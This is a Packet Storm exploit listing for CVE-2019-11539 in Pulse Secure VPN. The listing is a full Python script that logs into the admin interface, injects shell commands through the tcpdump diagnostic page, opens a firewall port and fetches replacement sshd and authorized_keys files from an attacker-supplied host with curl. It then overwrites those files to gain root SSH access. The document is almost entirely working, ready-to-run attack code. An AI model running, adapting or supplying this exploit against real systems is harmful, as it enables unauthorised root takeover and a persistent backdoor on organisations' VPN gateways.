Lucene search

K
packetstormTobias MarcottoPACKETSTORM:162092
HistoryApr 06, 2021 - 12:00 a.m.

Pulse Secure VPN Arbitrary Command Execution

2021-04-0600:00:00
Tobias Marcotto
packetstormsecurity.com
356

EPSS

0.971

Percentile

99.8%

`# Exploit Title: Pulse Secure VPN - Arbitrary Command Execution  
# Date: 05/04/2021  
# Exploit Author: Tobias Marcotto  
# Tested on: Kali Linux x64  
# Version: 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, 5.1RX before 5.1R15.1  
# Description: In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, and 5.1RX before 5.1R15.1, the admin web interface allows an authenticated attacker to inject and execute commands.  
# CVE : CVE-2019-11539  
  
  
*********************************************************************************************************  
  
  
#!/usr/bin/python  
  
# Imports  
import requests  
import urllib  
from bs4 import BeautifulSoup  
  
# Host information  
host = 'REPLACE-WITH-IP-OR-FQDN' # Host to exploit  
login_url = '/dana-na/auth/url_admin/login.cgi' # Login page  
CMDInjectURL = '/dana-admin/diag/diag.cgi' # Overwrites the Template when using tcpdump  
CommandExecURL = '/dana-na/auth/setcookie.cgi' # Executes the code  
  
# Login Credentials  
user = 'admin' # Default Username  
password = 'password' # Default Password  
  
# Necessary for Curl  
downloadHost = '' # IP or FQDN for host running webserver  
port = '' # Port where web service is running. Needs to be a string, hence the quotes.  
  
# Proxy Configuration  
# Uncomment if you need to use a proxy or for debugging requests  
proxies = {  
# 'http': 'http://127.0.0.1:8080',  
# 'https': 'http://127.0.0.1:8080',  
}  
  
# Headers for requests  
headers = {  
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',  
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',  
'Accept-Language':'en-US,en;q=0.5',  
'Accept-Encoding':'gzip, deflate',  
'Content-Type':'application/x-www-form-urlencoded',  
}  
  
# Cookies to send with request  
cookies = {  
'lastRealm':'Admin%20Users',  
'DSSIGNIN':'url_admin',  
'DSSignInURL':'/admin/',  
'DSPERSISTMSG':'',  
}  
  
# Data for post request  
loginData = {  
'tz_offset': 0,  
'username': user,  
'password': password,  
'realm': 'Admin Users',  
'btnSubmit': 'Sign In',  
}  
  
xsAuth = ''  
  
s = requests.Session()  
s.proxies = proxies  
  
# Disable Warnings from requests library  
requests.packages.urllib3.disable_warnings()  
  
# Administrator Login logic  
# Probably wouldn't have figured this out without help from @buffaloverflow  
def adminLogin():  
global xsAuth  
global _headers  
  
# Send the intial request  
r = requests.get('https://%s/dana-na/auth/url_admin/welcome.cgi' % host, cookies=cookies, headers=headers, verify=False, proxies=proxies)  
  
print('[#] Logging in...') # Self Explanatory  
r = s.post('https://' + host + login_url, data=loginData,verify=False, proxies=proxies, allow_redirects=False) # sends login post request  
print('[#] Sent Login Request...')  
  
# Login Logic  
if r.status_code == 302 and 'welcome.cgi' in r.headers.get("location",""):  
referer = 'https://%s%s' %(host, r.headers["location"]) # Gets the referer  
r = s.get(referer, verify=False) # Sends a get request  
soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser  
FormDataStr = soup.find('input', {'id':'DSIDFormDataStr'})["value"] # Gets DSIDFormDataStr  
print('[#] Grabbing xsauth...')  
xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token  
print('[!] Got xsauth: ' + xsAuth) # Self Explanatory  
data = {'btnContinue':'Continue the session', 'FormDataStr':FormDataStr, 'xsauth':xsAuth} # Submits the continue session page  
_headers = headers # Sets the headers  
_headers.update({'referer':referer}) # Updates the headers  
r = s.post('https://%s' %(host + login_url), data=data, headers=_headers, verify=False, proxies=proxies) #Sends a new post request  
  
print('[+] Logged in!') # Self Explanatory  
  
# Command injection logic  
def cmdInject(command):  
r = s.get('https://' + host + CMDInjectURL, verify=False, proxies=proxies)  
if r.status_code == 200:  
soup = BeautifulSoup(r.text, 'html.parser') # Sets up HTML Parser  
xsAuth = soup.find('input', {'name':'xsauth'})["value"] # Gets the cross site auth token  
payload = {  
'a':'td',  
'chkInternal':'On',  
'optIFInternal':'int0',  
'pmisc':'on',  
'filter':'',  
'options':'-r$x="%s",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <' %command,  
'toggle':'Start+Sniffing',  
'xsauth':xsAuth  
}  
# Takes the generated URL specific to the command then encodes it in hex for the DSLaunchURL cookie  
DSLaunchURL_cookie = {'DSLaunchURL':(CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+urllib.quote_plus(command)+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth).encode("hex")}  
# print('[+] Sending Command injection: %s' %command) # Self Explanatory. Useful for seeing what commands are run  
# Sends the get request to overwrite the template  
r = s.get('https://' + host + CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+command+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth, cookies=DSLaunchURL_cookie, verify=False, proxies=proxies)  
# Sends the get request to execute the code  
r = s.get('https://' + host + CommandExecURL, verify=False)  
  
# Main logic  
if __name__ == '__main__':  
adminLogin()  
try:  
print('[!] Starting Exploit')  
print('[*] Opening Firewall port...')  
cmdInject('iptables -A INPUT -p tcp --dport 6667 -j ACCEPT') # Opens SSH port  
print('[*] Downloading Necessary Files....')  
cmdInject('/home/bin/curl '+downloadHost+':'+port+'/cloud_sshd_config -o /tmp/cloud_sshd_config') # download cloud_sshd_config  
cmdInject('/home/bin/curl '+downloadHost+':'+port+'/authorized_keys -o /tmp/authorized_keys') # download authorized_keys  
print('[*] Backing up Files...')  
cmdInject('cp /etc/cloud_sshd_config /etc/cloud_sshd_config.bak') # backup cloud_sshd_config  
cmdInject('cp /.ssh/authorized_keys /.ssh/authorized_keys.bak') # backp authorized_keys  
print('[*] Overwriting Old Files...')  
cmdInject('cp /tmp/cloud_sshd_config /etc/cloud_sshd_config') # overwrite cloud_sshd_config  
cmdInject('cp /tmp/authorized_keys /.ssh/authorized_keys') # overwrite authorized_keys  
print('[*] Restarting SSHD...')  
cmdInject('kill -SIGHUP $(pgrep -f "sshd-ive")') # Restart sshd via a SIGHUP  
print('[!] Done Exploiting the system.')  
print('[!] Please use the following command:')  
print('[!] ssh -p6667 root@%s') %(host)  
except Exception as e:  
raise  
`